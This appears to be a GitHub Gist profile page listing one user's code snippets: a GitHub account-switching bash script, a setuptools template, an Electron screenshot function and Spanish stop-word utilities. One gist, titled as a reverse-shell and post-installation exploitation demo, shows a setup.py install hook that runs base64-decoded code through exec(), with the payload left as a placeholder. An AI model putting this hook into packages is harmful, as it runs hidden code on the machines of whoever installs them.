Skip to content

Instantly share code, notes, and snippets.

View cr0wg4n's full-sized avatar
🚀
flying to the moon

Mauricio Matias C. cr0wg4n

🚀
flying to the moon
View GitHub Profile
@cr0wg4n
cr0wg4n / switch-github-user.sh
Last active October 23, 2024 23:58
A Bash script to interchange multiple GitHub users in a unique machine
#!/bin/bash
gh_user="${1:-Nothing}"
if [ "$gh_user" == 'USERNAME_1' ]; then
ssh-add -D
git config --global user.email "USERNAME_1_EMAIL"
ssh-add /PRIVATE_KEY_PATH/.ssh/github-USERNAME_1
elif [ "$gh_user" == 'USERNAME_2' ]; then
ssh-add -D
git config --global user.email "USERNAME_2_EMAIL"
import setuptools
with open("README.md", "r", encoding="utf-8") as description:
long_description = description.read()
setuptools.setup(
name="nombre-de-tu-lib",
version="0.0.X",
author="TU NOMBRE DE AUTORÍA",
author_email="TU CORREO",
@cr0wg4n
cr0wg4n / screenshot-electron.js
Last active June 22, 2021 03:10
realizar captura con electron.js
const electron = require('electron')
function takeScreenshot () {
electron.remote.getCurrentWindow().capturePage({
x: 0,
y: 0,
width: 2000,
height: 4000,
}).then((img) => {
dialog.showSaveDialog({
@cr0wg4n
cr0wg4n / setup.py
Created June 18, 2021 22:11
setup.py reverse-shell and post-installation explotation
import setuptools
from setuptools.command.install import install
class PostInstallCommand(install):
def run(self):
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('SOME_BASE64_MALICIUS_CODE')[0]))
install.run(self)
with open("README.md", "r", encoding="utf-8") as description:
long_description = description.read()
@cr0wg4n
cr0wg4n / stop-words-clear.py
Last active February 9, 2024 21:33
Clearing stop words
stop_words = [
# stop words list
]
symbols = [
'¿','?','~','`','!','¡','@','#','$','%','^',
'*','(',')','_','-','+','=','{','}','[',
']','\\',':',';','<','>','/', '.', ',','&','\n'
,'\r','\t', '|', '“', '"', '–', '”', '©', '-', '—',
'…', ';', '‘','’'
]
@cr0wg4n
cr0wg4n / spanish-stop-words.txt
Created May 15, 2021 00:50
Spanish stop words
a
actualmente
adelante
además
afirmó
agregó
ahora
ahí
al
algo